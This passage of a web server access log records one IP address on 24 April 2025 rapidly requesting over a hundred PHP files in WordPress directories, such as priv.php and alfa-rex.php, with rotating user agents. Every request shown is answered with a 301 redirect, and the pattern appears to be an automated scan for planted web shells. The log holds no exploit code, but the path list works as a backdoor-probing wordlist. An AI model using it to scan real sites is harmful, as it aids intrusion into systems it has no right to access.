/uploads/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:08 -0400] "GET /wp-admin/maint/bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:36:08 -0400] "GET /wp-content/upgrade/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:09 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:09 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:10 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.56.136 - - [24/Apr/2025:20:36:11 -0400] "GET /images/addphoto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:36:11 -0400] "GET /wp-admin/images/cux.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:11 -0400] "GET /wp-includes/images/crystal/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:11 -0400] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:36:12 -0400] "GET /wp-includes/bangu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:12 -0400] "GET /files/m3u2nml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:36:13 -0400] "GET /wp-includes/ID3/vp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:36:13 -0400] "GET /wp-admin/maint/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:36:14 -0400] "GET /wp-admin/js/widgets/105.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:36:15 -0400] "GET /wp-admin/js/sidebarv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:15 -0400] "GET /uploads/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:36:16 -0400] "GET /wp-includes/fonts/configuration.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.56.136 - - [24/Apr/2025:20:36:16 -0400] "GET /wp-admin/js/upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:17 -0400] "GET /wp-includes/PHPMailer/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:21 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:22 -0400] "GET /images/upload-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:36:22 -0400] "GET /wp-includes/dedbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:22 -0400] "GET /wp-includes/bestmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:36:23 -0400] "GET /wp-content/upgrade/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:23 -0400] "GET /wp-admin/includes/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.136 - - [24/Apr/2025:20:36:23 -0400] "GET /wp-admin/css/meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:24 -0400] "GET /wp-admin/css/colors/blue/locale.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:25 -0400] "GET /wp-admin/includes/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:25 -0400] "GET /wp-admin/js/91.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:26 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:36:26 -0400] "GET /wp-includes/ID3/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:26 -0400] "GET /wp-admin/css/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.56.136 - - [24/Apr/2025:20:36:27 -0400] "GET /wp-content/uploads/configure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:27 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:36:28 -0400] "GET /wp-admin/maint/thems.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:28 -0400] "GET /wp-includes/cof.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:29 -0400] "GET /wp-admin/includes/translation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:29 -0400] "GET /.well-known/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:30 -0400] "GET /files/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:30 -0400] "GET /wp-admin/maint/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:30 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:36:31 -0400] "GET /wp-admin/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:31 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:31 -0400] "GET /wp-admin/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:32 -0400] "GET /wp-admin/css/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:33 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:36:33 -0400] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:33 -0400] "GET /wp-admin/css/colors/midnight/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:34 -0400] "GET /wp-admin/images/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:34 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:34 -0400] "GET /wp-admin/js/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:36:35 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:36:35 -0400] "GET /wp-admin/js/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:36 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:37 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:36:38 -0400] "GET /wp-includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:40 -0400] "GET /wp-includes/class-wpdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:41 -0400] "GET /wp-includes/fonts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:41 -0400] "GET /wp-includes/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:41 -0400] "GET /wp-includes/ID3/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:42 -0400] "GET /wp-includes/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:36:42 -0400] "GET /wp-includes/Text/Diff/Engine/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:36:42 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:43 -0400] "GET /wp-includes/sitemaps/providers/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:43 -0400] "GET /wp-includes/widgets/class-wp-widget-block.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:36:43 -0400] "GET /wp-includes/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:44 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:36:44 -0400] "GET /.well-known/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:44 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:44 -0400] "GET /.well-known/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.136 - - [24/Apr/2025:20:36:45 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:36:45 -0400] "GET /wp-admin/js/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:45 -0400] "GET /wp-admin/maint/Ysuyo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:46 -0400] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.56.136 - - [24/Apr/2025:20:36:46 -0400] "GET /wp-includes/css/dist/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:47 -0400] "GET /wp-includes/css/dist/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:36:47 -0400] "GET /wp-content/uploads/2024/11/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:47 -0400] "GET /wp-content/uploads/2024/10/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:47 -0400] "GET /wp-content/upgrade/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:48 -0400] "GET /wp-admin/includes/cicak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.56.136 - - [24/Apr/2025:20:36:49 -0400] "GET /wp-admin/includes/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:50 -0400] "GET /wp-admin/maint/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:50 -0400] "GET /wp-admin/css/colors/blue/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.56.136 - - [24/Apr/2025:20:36:50 -0400] "GET /wp-admin/css/colors/coffee/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.56.136 - - [24/Apr/2025:20:36:50 -0400] "GET /wp-admin/css/colors/ectoplasm/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:51 -0400] "GET /wp-admin/css/colors/light/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:51 -0400] "GET /wp-admin/css/colors/midnight/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:51 -0400] "GET /wp-admin/css/colors/modern/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:52 -0400] "GET /wp-admin/css/colors/ocean/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.56.136 - - [24/Apr/2025:20:36:52 -0400] "GET /wp-admin/images/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.56.136 - - [24/Apr/2025:20:36:52 -0400] "GET /wp-admin/js/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:52 -0400] "GET /wp-includes/ID3/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:53 -0400] "GET /wp-includes/IXR/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:36:53 -0400] "GET /wp-includes/PHPMailer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:53 -0400] "GET /wp-includes/Text/Diff/Engine/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.56.136 - - [24/Apr/2025:20:36:53 -0400] "GET /wp-includes/pomo/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:54 -0400] "GET /wp-includes/sitemaps/providers/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:36:54 -0400] "GET /wp-includes/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:54 -0400] "GET /wp-includes/fonts/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:54 -0400] "GET /wp-includes/images/crystal/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.56.136 - - [24/Apr/2025:20:36:55 -0400] "GET /wp-includes/images/media/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:55 -0400] "GET /wp-includes/images/smilies/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:55 -0400] "GET /wp-includes/js/codemirror/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:36:56 -0400] "GET /wp-includes/js/plupload/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:36:56 -0400] "GET /files/editprofile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:56 -0400] "GET /images/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:56 -0400] "GET /wp-admin/maint/lol.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.56.136 - - [24/Apr/2025:20:36:57 -0400] "GET /uploads/abstract_login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:57 -0400] "GET /wp-content/uploads/etipat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.56.136 - - [24/Apr/2025:20:36:57 -0400] "GET /wp-includes/widgets/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.56.136 - - [24/Apr/2025:20:36:58 -0400] "GET /wp-admin/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.56.136 - - [24/Apr/2025:20:36:58 -0400] "GET /wp-admin/css/colors/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows 